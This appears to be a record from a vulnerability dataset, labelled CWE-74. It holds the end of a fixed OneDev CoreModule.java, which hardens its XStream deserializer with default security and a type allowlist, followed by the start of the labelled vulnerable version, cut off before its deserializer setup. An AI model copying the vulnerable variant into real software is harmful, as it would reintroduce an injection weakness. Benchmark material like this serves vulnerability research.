contribute(FilterChainConfigurator.class, new FilterChainConfigurator() {
@Override
public void configure(FilterChainManager filterChainManager) {
filterChainManager.createChain("/rest/**", "noSessionCreation, authcBasic");
}
});
contribute(JerseyConfigurator.class, new JerseyConfigurator() {
@Override
public void configure(ResourceConfig resourceConfig) {
resourceConfig.packages(RestConstants.class.getPackage().getName());
}
});
}
private void configureWeb() {
bind(WicketServlet.class).to(DefaultWicketServlet.class);
bind(WicketFilter.class).to(DefaultWicketFilter.class);
bind(WebSocketPolicy.class).toProvider(WebSocketPolicyProvider.class);
bind(EditSupportRegistry.class).to(DefaultEditSupportRegistry.class);
bind(WebSocketManager.class).to(DefaultWebSocketManager.class);
bind(AttachmentUploadServlet.class);
contributeFromPackage(EditSupport.class, EditSupport.class);
bind(WebApplication.class).to(OneWebApplication.class);
bind(Application.class).to(OneWebApplication.class);
bind(AvatarManager.class).to(DefaultAvatarManager.class);
bind(WebSocketManager.class).to(DefaultWebSocketManager.class);
contributeFromPackage(EditSupport.class, EditSupportLocator.class);
contribute(WebApplicationConfigurator.class, new WebApplicationConfigurator() {
@Override
public void configure(WebApplication application) {
application.mount(new OnePageMapper("/test", TestPage.class));
}
});
bind(CommitIndexedBroadcaster.class);
contributeFromPackage(DiffRenderer.class, DiffRenderer.class);
contributeFromPackage(BlobRendererContribution.class, BlobRendererContribution.class);
contribute(Extension.class, new EmojiExtension());
contribute(Extension.class, new SourcePositionTrackExtension());
contributeFromPackage(MarkdownProcessor.class, MarkdownProcessor.class);
contribute(ResourcePackScopeContribution.class, new ResourcePackScopeContribution() {
@Override
public Collection<Class<?>> getResourcePackScopes() {
return Lists.newArrayList(OneWebApplication.class);
}
});
contribute(ExpectedExceptionContribution.class, new ExpectedExceptionContribution() {
@SuppressWarnings("unchecked")
@Override
public Collection<Class<? extends Exception>> getExpectedExceptionClasses() {
return Sets.newHashSet(ConstraintViolationException.class, EntityNotFoundException.class,
ObjectNotFoundException.class, StaleStateException.class, UnauthorizedException.class,
OneException.class, PageExpiredException.class, StalePageException.class);
}
});
bind(UrlManager.class).to(DefaultUrlManager.class);
bind(CodeCommentEventBroadcaster.class);
bind(PullRequestEventBroadcaster.class);
bind(IssueEventBroadcaster.class);
bind(BuildEventBroadcaster.class);
bind(TaskButton.TaskFutureManager.class);
bind(UICustomization.class).toInstance(new UICustomization() {
@Override
public Class<? extends BasePage> getHomePage() {
return DashboardPage.class;
}
@Override
public List<MainTab> getMainTabs() {
return Lists.newArrayList(
new ProjectListTab(), new IssueListTab(),
new PullRequestListTab(), new BuildListTab());
}
});
}
private void configureBuild() {
contribute(ScriptContribution.class, new ScriptContribution() {
@Override
public GroovyScript getScript() {
GroovyScript script = new GroovyScript();
script.setName("determine-build-failure-investigator");
script.setContent(Lists.newArrayList("io.onedev.server.util.script.ScriptContribution.determineBuildFailureInvestigator()"));
return script;
}
});
contribute(ScriptContribution.class, new ScriptContribution() {
@Override
public GroovyScript getScript() {
GroovyScript script = new GroovyScript();
script.setName("get-build-number");
script.setContent(Lists.newArrayList("io.onedev.server.util.script.ScriptContribution.getBuildNumber()"));
return script;
}
});
}
private void configurePersistence() {
// Use an optional binding here in case our client does not like to
// start persist service provided by this plugin
bind(Interceptor.class).to(HibernateInterceptor.class);
bind(PhysicalNamingStrategy.class).toInstance(new PrefixedNamingStrategy("o_"));
bind(SessionManager.class).to(DefaultSessionManager.class);
bind(TransactionManager.class).to(DefaultTransactionManager.class);
bind(IdManager.class).to(DefaultIdManager.class);
bind(Dao.class).to(DefaultDao.class);
TransactionInterceptor transactionInterceptor = new TransactionInterceptor();
requestInjection(transactionInterceptor);
bindInterceptor(Matchers.any(), new AbstractMatcher<AnnotatedElement>() {
@Override
public boolean matches(AnnotatedElement element) {
return element.isAnnotationPresent(Transactional.class) && !((Method) element).isSynthetic();
}
}, transactionInterceptor);
SessionInterceptor sessionInterceptor = new SessionInterceptor();
requestInjection(sessionInterceptor);
bindInterceptor(Matchers.any(), new AbstractMatcher<AnnotatedElement>() {
@Override
public boolean matches(AnnotatedElement element) {
return element.isAnnotationPresent(Sessional.class) && !((Method) element).isSynthetic();
}
}, sessionInterceptor);
contributeFromPackage(LogInstruction.class, LogInstruction.class);
contribute(PersistListener.class, new PersistListener() {
@Override
public boolean onSave(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types)
throws CallbackException {
return false;
}
@Override
public boolean onLoad(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types)
throws CallbackException {
return false;
}
@Override
public boolean onFlushDirty(Object entity, Serializable id, Object[] currentState, Object[] previousState,
String[] propertyNames, Type[] types) throws CallbackException {
return false;
}
@Override
public void onDelete(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types)
throws CallbackException {
}
});
bind(XStream.class).toProvider(new com.google.inject.Provider<XStream>() {
@SuppressWarnings("rawtypes")
@Override
public XStream get() {
ReflectionProvider reflectionProvider = JVM.newReflectionProvider();
XStream xstream = new XStream(reflectionProvider) {
@Override
protected MapperWrapper wrapMapper(MapperWrapper next) {
return new MapperWrapper(next) {
@Override
public boolean shouldSerializeMember(Class definedIn, String fieldName) {
Field field = reflectionProvider.getField(definedIn, fieldName);
return field.getAnnotation(XStreamOmitField.class) == null &&
field.getAnnotation(Transient.class) == null &&
field.getAnnotation(OneToMany.class) == null &&
field.getAnnotation(Version.class) == null;
}
@Override
public String serializedClass(Class type) {
if (type == null)
return super.serializedClass(type);
else if (type == PersistentBag.class)
return super.serializedClass(ArrayList.class);
else if (type.getName().contains("$HibernateProxy$"))
return StringUtils.substringBefore(type.getName(), "$HibernateProxy$");
else
return super.serializedClass(type);
}
};
}
};
XStream.setupDefaultSecurity(xstream);
xstream.allowTypesByWildcard(new String[] {"io.onedev.**"});
// register NullConverter as highest; otherwise NPE when unmarshal a map
// containing an entry with value set to null.
xstream.registerConverter(new NullConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new StringConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new VersionedDocumentConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new HibernateProxyConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new CollectionConverter(xstream.getMapper()), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new MapConverter(xstream.getMapper()), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new ISO8601DateConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new ISO8601SqlTimestampConverter(), XStream.PRIORITY_VERY_HIGH);
xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), xstream.getReflectionProvider()),
XStream.PRIORITY_VERY_LOW);
xstream.autodetectAnnotations(true);
return xstream;
}
}).in(Singleton.class);
if (Bootstrap.command != null) {
if (RestoreDatabase.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(RestoreDatabase.class);
else if (ApplyDatabaseConstraints.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(ApplyDatabaseConstraints.class);
else if (BackupDatabase.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(BackupDatabase.class);
else if (CheckDataVersion.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(CheckDataVersion.class);
else if (Upgrade.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(Upgrade.class);
else if (CleanDatabase.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(CleanDatabase.class);
else if (ResetAdminPassword.COMMAND.equals(Bootstrap.command.getName()))
bind(PersistManager.class).to(ResetAdminPassword.class);
else
throw new RuntimeException("Unrecognized command: " + Bootstrap.command.getName());
} else {
bind(PersistManager.class).to(DefaultPersistManager.class);
}
}
@Override
protected Class<? extends AbstractPlugin> getPluginClass() {
return OneDev.class;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1895_0
|
crossvul-java_data_bad_1895_0
|
package io.onedev.server;
import java.io.Serializable;
import java.lang.reflect.AnnotatedElement;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.ForkJoinPool;
import java.util.concurrent.ForkJoinTask;
import java.util.concurrent.Future;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.SynchronousQueue;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import javax.inject.Singleton;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.EntityNotFoundException;
import javax.persistence.OneToMany;
import javax.persistence.Transient;
import javax.persistence.Version;
import javax.validation.Configuration;
import javax.validation.Validation;
import javax.validation.Validator;
import javax.validation.ValidatorFactory;
import org.apache.shiro.authc.credential.PasswordService;
import org.apache.shiro.authz.UnauthorizedException;
import org.apache.shiro.guice.aop.ShiroAopModule;
import org.apache.shiro.mgt.RememberMeManager;
import org.apache.shiro.realm.Realm;
import org.apache.shiro.web.filter.mgt.FilterChainManager;
import org.apache.shiro.web.filter.mgt.FilterChainResolver;
import org.apache.shiro.web.mgt.WebSecurityManager;
import org.apache.shiro.web.servlet.ShiroFilter;
import org.apache.wicket.Application;
import org.apache.wicket.core.request.mapper.StalePageException;
import org.apache.wicket.protocol.http.PageExpiredException;
import org.apache.wicket.protocol.http.WebApplication;
import org.apache.wicket.protocol.http.WicketFilter;
import org.apache.wicket.protocol.http.WicketServlet;
import org.eclipse.jetty.servlet.ServletContextHandler;
import org.eclipse.jetty.websocket.api.WebSocketPolicy;
import org.glassfish.jersey.server.ResourceConfig;
import org.glassfish.jersey.servlet.ServletContainer;
import org.hibernate.CallbackException;
import org.hibernate.Interceptor;
import org.hibernate.ObjectNotFoundException;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.StaleStateException;
import org.hibernate.boot.model.naming.PhysicalNamingStrategy;
import org.hibernate.collection.internal.PersistentBag;
import org.hibernate.exception.ConstraintViolationException;
import org.hibernate.type.Type;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Lists;
import com.google.common.collect.Sets;
import com.google.inject.Provider;
import com.google.inject.matcher.AbstractMatcher;
import com.google.inject.matcher.Matchers;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.annotations.XStreamOmitField;
import com.thoughtworks.xstream.converters.basic.NullConverter;
import com.thoughtworks.xstream.converters.extended.ISO8601DateConverter;
import com.thoughtworks.xstream.converters.extended.ISO8601SqlTimestampConverter;
import com.thoughtworks.xstream.converters.reflection.ReflectionProvider;
import com.thoughtworks.xstream.core.JVM;
import com.thoughtworks.xstream.mapper.MapperWrapper;
import com.vladsch.flexmark.Extension;
import io.onedev.commons.launcher.bootstrap.Bootstrap;
import io.onedev.commons.launcher.loader.AbstractPlugin;
import io.onedev.commons.launcher.loader.AbstractPluginModule;
import io.onedev.commons.launcher.loader.ImplementationProvider;
import io.onedev.commons.utils.ExceptionUtils;
import io.onedev.commons.utils.StringUtils;
import io.onedev.server.buildspec.job.DefaultJobManager;
import io.onedev.server.buildspec.job.JobManager;
import io.onedev.server.buildspec.job.log.DefaultLogManager;
import io.onedev.server.buildspec.job.log.LogManager;
import io.onedev.server.buildspec.job.log.instruction.LogInstruction;
import io.onedev.server.entitymanager.BuildDependenceManager;
import io.onedev.server.entitymanager.BuildManager;
import io.onedev.server.entitymanager.BuildParamManager;
import io.onedev.server.entitymanager.BuildQuerySettingManager;
import io.onedev.server.entitymanager.CodeCommentManager;
import io.onedev.server.entitymanager.CodeCommentQuerySettingManager;
import io.onedev.server.entitymanager.CodeCommentRelationManager;
import io.onedev.server.entitymanager.CodeCommentReplyManager;
import io.onedev.server.entitymanager.CommitQuerySettingManager;
import io.onedev.server.entitymanager.GroupAuthorizationManager;
import io.onedev.server.entitymanager.GroupManager;
import io.onedev.server.entitymanager.IssueChangeManager;
import io.onedev.server.entitymanager.IssueCommentManager;
import io.onedev.server.entitymanager.IssueFieldManager;
import io.onedev.server.entitymanager.IssueManager;
import io.onedev.server.entitymanager.IssueQuerySettingManager;
import io.onedev.server.entitymanager.IssueVoteManager;
import io.onedev.server.entitymanager.IssueWatchManager;
import io.onedev.server.entitymanager.MembershipManager;
import io.onedev.server.entitymanager.MilestoneManager;
import io.onedev.server.entitymanager.ProjectManager;
import io.onedev.server.entitymanager.PullRequestBuildManager;
import io.onedev.server.entitymanager.PullRequestChangeManager;
import io.onedev.server.entitymanager.PullRequestCommentManager;
import io.onedev.server.entitymanager.PullRequestManager;
import io.onedev.server.entitymanager.PullRequestQuerySettingManager;
import io.onedev.server.entitymanager.PullRequestReviewManager;
import io.onedev.server.entitymanager.PullRequestUpdateManager;
import io.onedev.server.entitymanager.PullRequestWatchManager;
import io.onedev.server.entitymanager.RoleManager;
import io.onedev.server.entitymanager.SettingManager;
import io.onedev.server.entitymanager.UrlManager;
import io.onedev.server.entitymanager.UserAuthorizationManager;
import io.onedev.server.entitymanager.UserManager;
import io.onedev.server.entitymanager.impl.DefaultBuildDependenceManager;
import io.onedev.server.entitymanager.impl.DefaultBuildManager;
import io.onedev.server.entitymanager.impl.DefaultBuildParamManager;
import io.onedev.server.entitymanager.impl.DefaultBuildQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentRelationManager;
import io.onedev.server.entitymanager.impl.DefaultCodeCommentReplyManager;
import io.onedev.server.entitymanager.impl.DefaultCommitQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultGroupAuthorizationManager;
import io.onedev.server.entitymanager.impl.DefaultGroupManager;
import io.onedev.server.entitymanager.impl.DefaultIssueChangeManager;
import io.onedev.server.entitymanager.impl.DefaultIssueCommentManager;
import io.onedev.server.entitymanager.impl.DefaultIssueFieldManager;
import io.onedev.server.entitymanager.impl.DefaultIssueManager;
import io.onedev.server.entitymanager.impl.DefaultIssueQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultIssueVoteManager;
import io.onedev.server.entitymanager.impl.DefaultIssueWatchManager;
import io.onedev.server.entitymanager.impl.DefaultMembershipManager;
import io.onedev.server.entitymanager.impl.DefaultMilestoneManager;
import io.onedev.server.entitymanager.impl.DefaultProjectManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestBuildManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestChangeManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestCommentManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestQuerySettingManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestReviewManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestUpdateManager;
import io.onedev.server.entitymanager.impl.DefaultPullRequestWatchManager;
import io.onedev.server.entitymanager.impl.DefaultRoleManager;
import io.onedev.server.entitymanager.impl.DefaultSettingManager;
import io.onedev.server.entitymanager.impl.DefaultUserAuthorizationManager;
import io.onedev.server.entitymanager.impl.DefaultUserManager;
import io.onedev.server.git.GitFilter;
import io.onedev.server.git.GitPostReceiveCallback;
import io.onedev.server.git.GitPreReceiveCallback;
import io.onedev.server.git.config.GitConfig;
import io.onedev.server.infomanager.CodeCommentRelationInfoManager;
import io.onedev.server.infomanager.CommitInfoManager;
import io.onedev.server.infomanager.DefaultCodeCommentRelationInfoManager;
import io.onedev.server.infomanager.DefaultCommitInfoManager;
import io.onedev.server.infomanager.DefaultUserInfoManager;
import io.onedev.server.infomanager.UserInfoManager;
import io.onedev.server.maintenance.ApplyDatabaseConstraints;
import io.onedev.server.maintenance.BackupDatabase;
import io.onedev.server.maintenance.CheckDataVersion;
import io.onedev.server.maintenance.CleanDatabase;
import io.onedev.server.maintenance.DataManager;
import io.onedev.server.maintenance.DefaultDataManager;
import io.onedev.server.maintenance.ResetAdminPassword;
import io.onedev.server.maintenance.RestoreDatabase;
import io.onedev.server.maintenance.Upgrade;
import io.onedev.server.model.support.administration.GroovyScript;
import io.onedev.server.model.support.administration.authenticator.Authenticator;
import io.onedev.server.model.support.administration.jobexecutor.AutoDiscoveredJobExecutor;
import io.onedev.server.model.support.administration.jobexecutor.JobExecutor;
import io.onedev.server.notification.BuildNotificationManager;
import io.onedev.server.notification.CodeCommentNotificationManager;
import io.onedev.server.notification.CommitNotificationManager;
import io.onedev.server.notification.DefaultMailManager;
import io.onedev.server.notification.IssueNotificationManager;
import io.onedev.server.notification.MailManager;
import io.onedev.server.notification.PullRequestNotificationManager;
import io.onedev.server.notification.WebHookManager;
import io.onedev.server.persistence.DefaultIdManager;
import io.onedev.server.persistence.DefaultPersistManager;
import io.onedev.server.persistence.DefaultSessionManager;
import io.onedev.server.persistence.DefaultTransactionManager;
import io.onedev.server.persistence.HibernateInterceptor;
import io.onedev.server.persistence.IdManager;
import io.onedev.server.persistence.PersistListener;
import io.onedev.server.persistence.PersistManager;
import io.onedev.server.persistence.PrefixedNamingStrategy;
import io.onedev.server.persistence.SessionFactoryProvider;
import io.onedev.server.persistence.SessionInterceptor;
import io.onedev.server.persistence.SessionManager;
import io.onedev.server.persistence.SessionProvider;
import io.onedev.server.persistence.TransactionInterceptor;
import io.onedev.server.persistence.TransactionManager;
import io.onedev.server.persistence.annotation.Sessional;
import io.onedev.server.persistence.annotation.Transactional;
import io.onedev.server.persistence.dao.Dao;
import io.onedev.server.persistence.dao.DefaultDao;
import io.onedev.server.rest.RestConstants;
import io.onedev.server.rest.jersey.DefaultServletContainer;
import io.onedev.server.rest.jersey.JerseyConfigurator;
import io.onedev.server.rest.jersey.ResourceConfigProvider;
import io.onedev.server.search.code.DefaultIndexManager;
import io.onedev.server.search.code.DefaultSearchManager;
import io.onedev.server.search.code.IndexManager;
import io.onedev.server.search.code.SearchManager;
import io.onedev.server.security.BasicAuthenticationFilter;
import io.onedev.server.security.CodePullAuthorizationSource;
import io.onedev.server.security.FilterChainConfigurator;
import io.onedev.server.security.OneAuthorizingRealm;
import io.onedev.server.security.OneFilterChainResolver;
import io.onedev.server.security.OnePasswordService;
import io.onedev.server.security.OneRememberMeManager;
import io.onedev.server.security.OneWebSecurityManager;
import io.onedev.server.storage.AttachmentStorageManager;
import io.onedev.server.storage.DefaultAttachmentStorageManager;
import io.onedev.server.storage.DefaultStorageManager;
import io.onedev.server.storage.StorageManager;
import io.onedev.server.util.SecurityUtils;
import io.onedev.server.util.jackson.ObjectMapperConfigurator;
import io.onedev.server.util.jackson.ObjectMapperProvider;
import io.onedev.server.util.jackson.git.GitObjectMapperConfigurator;
import io.onedev.server.util.jackson.hibernate.HibernateObjectMapperConfigurator;
import io.onedev.server.util.jetty.DefaultJettyRunner;
import io.onedev.server.util.jetty.JettyRunner;
import io.onedev.server.util.markdown.DefaultMarkdownManager;
import io.onedev.server.util.markdown.EntityReferenceManager;
import io.onedev.server.util.markdown.MarkdownManager;
import io.onedev.server.util.markdown.MarkdownProcessor;
import io.onedev.server.util.schedule.DefaultTaskScheduler;
import io.onedev.server.util.schedule.TaskScheduler;
import io.onedev.server.util.script.ScriptContribution;
import io.onedev.server.util.validation.DefaultEntityValidator;
import io.onedev.server.util.validation.EntityValidator;
import io.onedev.server.util.validation.ValidatorProvider;
import io.onedev.server.util.work.BatchWorkManager;
import io.onedev.server.util.work.DefaultBatchWorkManager;
import io.onedev.server.util.work.DefaultWorkExecutor;
import io.onedev.server.util.work.WorkExecutor;
import io.onedev.server.util.xstream.CollectionConverter;
import io.onedev.server.util.xstream.HibernateProxyConverter;
import io.onedev.server.util.xstream.MapConverter;
import io.onedev.server.util.xstream.ReflectionConverter;
import io.onedev.server.util.xstream.StringConverter;
import io.onedev.server.util.xstream.VersionedDocumentConverter;
import io.onedev.server.web.DefaultUrlManager;
import io.onedev.server.web.DefaultWicketFilter;
import io.onedev.server.web.DefaultWicketServlet;
import io.onedev.server.web.ExpectedExceptionContribution;
import io.onedev.server.web.OneWebApplication;
import io.onedev.server.web.ResourcePackScopeContribution;
import io.onedev.server.web.WebApplicationConfigurator;
import io.onedev.server.web.avatar.AvatarManager;
import io.onedev.server.web.avatar.DefaultAvatarManager;
import io.onedev.server.web.component.diff.DiffRenderer;
import io.onedev.server.web.component.markdown.AttachmentUploadServlet;
import io.onedev.server.web.component.markdown.SourcePositionTrackExtension;
import io.onedev.server.web.component.markdown.emoji.EmojiExtension;
import io.onedev.server.web.component.taskbutton.TaskButton;
import io.onedev.server.web.editable.DefaultEditSupportRegistry;
import io.onedev.server.web.editable.EditSupport;
import io.onedev.server.web.editable.EditSupportLocator;
import io.onedev.server.web.editable.EditSupportRegistry;
import io.onedev.server.web.mapper.OnePageMapper;
import io.onedev.server.web.page.DashboardPage;
import io.onedev.server.web.page.base.BasePage;
import io.onedev.server.web.page.layout.BuildListTab;
import io.onedev.server.web.page.layout.IssueListTab;
import io.onedev.server.web.page.layout.MainTab;
import io.onedev.server.web.page.layout.ProjectListTab;
import io.onedev.server.web.page.layout.PullRequestListTab;
import io.onedev.server.web.page.layout.UICustomization;
import io.onedev.server.web.page.project.blob.render.BlobRendererContribution;
import io.onedev.server.web.page.test.TestPage;
import io.onedev.server.web.websocket.BuildEventBroadcaster;
import io.onedev.server.web.websocket.CodeCommentEventBroadcaster;
import io.onedev.server.web.websocket.CommitIndexedBroadcaster;
import io.onedev.server.web.websocket.DefaultWebSocketManager;
import io.onedev.server.web.websocket.IssueEventBroadcaster;
import io.onedev.server.web.websocket.PullRequestEventBroadcaster;
import io.onedev.server.web.websocket.WebSocketManager;
import io.onedev.server.web.websocket.WebSocketPolicyProvider;
/**
* NOTE: Do not forget to rename moduleClass property defined in the pom if you've renamed this class.
*
*/
public class CoreModule extends AbstractPluginModule {
@Override
protected void configure() {
super.configure();
bind(JettyRunner.class).to(DefaultJettyRunner.class);
bind(ServletContextHandler.class).toProvider(DefaultJettyRunner.class);
bind(ObjectMapper.class).toProvider(ObjectMapperProvider.class).in(Singleton.class);
bind(ValidatorFactory.class).toProvider(new com.google.inject.Provider<ValidatorFactory>() {
@Override
public ValidatorFactory get() {
Configuration<?> configuration = Validation.byDefaultProvider().configure();
return configuration.buildValidatorFactory();
}
}).in(Singleton.class);
bind(Validator.class).toProvider(ValidatorProvider.class).in(Singleton.class);
// configure markdown
bind(MarkdownManager.class).to(DefaultMarkdownManager.class);
configurePersistence();
configureRestServices();
configureWeb();
configureBuild();
bind(GitConfig.class).toProvider(GitConfigProvider.class);
/*
* Declare bindings explicitly instead of using ImplementedBy annotation as
* HK2 to guice bridge can only search in explicit bindings in Guice
*/
bind(StorageManager.class).to(DefaultStorageManager.class);
bind(SettingManager.class).to(DefaultSettingManager.class);
bind(DataManager.class).to(DefaultDataManager.class);
bind(TaskScheduler.class).to(DefaultTaskScheduler.class);
bind(PullRequestCommentManager.class).to(DefaultPullRequestCommentManager.class);
bind(CodeCommentManager.class).to(DefaultCodeCommentManager.class);
bind(PullRequestManager.class).to(DefaultPullRequestManager.class);
bind(PullRequestUpdateManager.class).to(DefaultPullRequestUpdateManager.class);
bind(ProjectManager.class).to(DefaultProjectManager.class);
bind(UserManager.class).to(DefaultUserManager.class);
bind(PullRequestReviewManager.class).to(DefaultPullRequestReviewManager.class);
bind(BuildManager.class).to(DefaultBuildManager.class);
bind(BuildDependenceManager.class).to(DefaultBuildDependenceManager.class);
bind(JobManager.class).to(DefaultJobManager.class);
bind(LogManager.class).to(DefaultLogManager.class);
bind(PullRequestBuildManager.class).to(DefaultPullRequestBuildManager.class);
bind(MailManager.class).to(DefaultMailManager.class);
bind(IssueManager.class).to(DefaultIssueManager.class);
bind(IssueFieldManager.class).to(DefaultIssueFieldManager.class);
bind(BuildParamManager.class).to(DefaultBuildParamManager.class);
bind(UserAuthorizationManager.class).to(DefaultUserAuthorizationManager.class);
bind(GroupAuthorizationManager.class).to(DefaultGroupAuthorizationManager.class);
bind(PullRequestWatchManager.class).to(DefaultPullRequestWatchManager.class);
bind(RoleManager.class).to(DefaultRoleManager.class);
bind(CommitInfoManager.class).to(DefaultCommitInfoManager.class);
bind(UserInfoManager.class).to(DefaultUserInfoManager.class);
bind(BatchWorkManager.class).to(DefaultBatchWorkManager.class);
bind(GroupManager.class).to(DefaultGroupManager.class);
bind(MembershipManager.class).to(DefaultMembershipManager.class);
bind(PullRequestChangeManager.class).to(DefaultPullRequestChangeManager.class);
bind(CodeCommentReplyManager.class).to(DefaultCodeCommentReplyManager.class);
bind(AttachmentStorageManager.class).to(DefaultAttachmentStorageManager.class);
bind(CodeCommentRelationInfoManager.class).to(DefaultCodeCommentRelationInfoManager.class);
bind(CodeCommentRelationManager.class).to(DefaultCodeCommentRelationManager.class);
bind(WorkExecutor.class).to(DefaultWorkExecutor.class);
bind(PullRequestNotificationManager.class);
bind(CommitNotificationManager.class);
bind(BuildNotificationManager.class);
bind(IssueNotificationManager.class);
bind(EntityReferenceManager.class);
bind(CodeCommentNotificationManager.class);
bind(CodeCommentManager.class).to(DefaultCodeCommentManager.class);
bind(IssueWatchManager.class).to(DefaultIssueWatchManager.class);
bind(IssueChangeManager.class).to(DefaultIssueChangeManager.class);
bind(IssueVoteManager.class).to(DefaultIssueVoteManager.class);
bind(MilestoneManager.class).to(DefaultMilestoneManager.class);
bind(Session.class).toProvider(SessionProvider.class);
bind(EntityManager.class).toProvider(SessionProvider.class);
bind(SessionFactory.class).toProvider(SessionFactoryProvider.class);
bind(EntityManagerFactory.class).toProvider(SessionFactoryProvider.class);
bind(IssueCommentManager.class).to(DefaultIssueCommentManager.class);
bind(IssueQuerySettingManager.class).to(DefaultIssueQuerySettingManager.class);
bind(PullRequestQuerySettingManager.class).to(DefaultPullRequestQuerySettingManager.class);
bind(CodeCommentQuerySettingManager.class).to(DefaultCodeCommentQuerySettingManager.class);
bind(CommitQuerySettingManager.class).to(DefaultCommitQuerySettingManager.class);
bind(BuildQuerySettingManager.class).to(DefaultBuildQuerySettingManager.class);
bind(WebHookManager.class);
contribute(ObjectMapperConfigurator.class, GitObjectMapperConfigurator.class);
contribute(ObjectMapperConfigurator.class, HibernateObjectMapperConfigurator.class);
bind(Realm.class).to(OneAuthorizingRealm.class);
bind(RememberMeManager.class).to(OneRememberMeManager.class);
bind(WebSecurityManager.class).to(OneWebSecurityManager.class);
bind(FilterChainResolver.class).to(OneFilterChainResolver.class);
bind(BasicAuthenticationFilter.class);
bind(PasswordService.class).to(OnePasswordService.class);
bind(ShiroFilter.class);
install(new ShiroAopModule());
contribute(FilterChainConfigurator.class, new FilterChainConfigurator() {
@Override
public void configure(FilterChainManager filterChainManager) {
filterChainManager.createChain("/**/info/refs", "noSessionCreation, authcBasic");
filterChainManager.createChain("/**/git-upload-pack", "noSessionCreation, authcBasic");
filterChainManager.createChain("/**/git-receive-pack", "noSessionCreation, authcBasic");
}
});
contributeFromPackage(Authenticator.class, Authenticator.class);
contribute(ImplementationProvider.class, new ImplementationProvider() {
@Override
public Class<?> getAbstractClass() {
return JobExecutor.class;
}
@Override
public Collection<Class<?>> getImplementations() {
return Sets.newHashSet(AutoDiscoveredJobExecutor.class);
}
});
contribute(CodePullAuthorizationSource.class, DefaultJobManager.class);
bind(IndexManager.class).to(DefaultIndexManager.class);
bind(SearchManager.class).to(DefaultSearchManager.class);
bind(EntityValidator.class).to(DefaultEntityValidator.class);
bind(GitFilter.class);
bind(GitPreReceiveCallback.class);
bind(GitPostReceiveCallback.class);
bind(ExecutorService.class).toProvider(new Provider<ExecutorService>() {
@Override
public ExecutorService get() {
return new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS,
new SynchronousQueue<Runnable>()) {
@Override
public void execute(Runnable command) {
try {
super.execute(SecurityUtils.inheritSubject(command));
} catch (RejectedExecutionException e) {
if (!isShutdown())
throw ExceptionUtils.unchecked(e);
}
}
};
}
}).in(Singleton.class);
bind(ForkJoinPool.class).toInstance(new ForkJoinPool() {
@Override
public ForkJoinTask<?> submit(Runnable task) {
return super.submit(SecurityUtils.inheritSubject(task));
}
@Override
public void execute(Runnable task) {
super.execute(SecurityUtils.inheritSubject(task));
}
@Override
public <T> ForkJoinTask<T> submit(Callable<T> task) {
return super.submit(SecurityUtils.inheritSubject(task));
}
@Override
public <T> ForkJoinTask<T> submit(Runnable task, T result) {
return super.submit(SecurityUtils.inheritSubject(task), result);
}
@Override
public <T> T invokeAny(Collection<? extends Callable<T>> tasks)
throws InterruptedException, ExecutionException {
return super.invokeAny(SecurityUtils.inheritSubject(tasks));
}
@Override
public <T> T invokeAny(Collection<? extends Callable<T>> tasks, long timeout, TimeUnit unit)
throws InterruptedException, ExecutionException, TimeoutException {
return super.invokeAny(SecurityUtils.inheritSubject(tasks), timeout, unit);
}
@Override
public <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks,
long timeout, TimeUnit unit) throws InterruptedException {
return super.invokeAll(SecurityUtils.inheritSubject(tasks), timeout, unit);
}
@Override
public <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks) {
return super.invokeAll(SecurityUtils.inheritSubject(tasks));
}
});
}
private void configureRestServices() {
bind(ResourceConfig.class).toProvider(ResourceConfigProvider.class).in(Singleton.class);
bind(ServletContainer.class).to(DefaultServletContainer.class);
contribute(FilterChainConfigurator.class, new FilterChainConfigurator() {
@Override
public void configure(FilterChainManager filterChainManager) {
filterChainManager.createChain("/rest/**", "noSessionCreation, authcBasic");
}
});
contribute(JerseyConfigurator.class, new JerseyConfigurator() {
@Override
public void configure(ResourceConfig resourceConfig) {
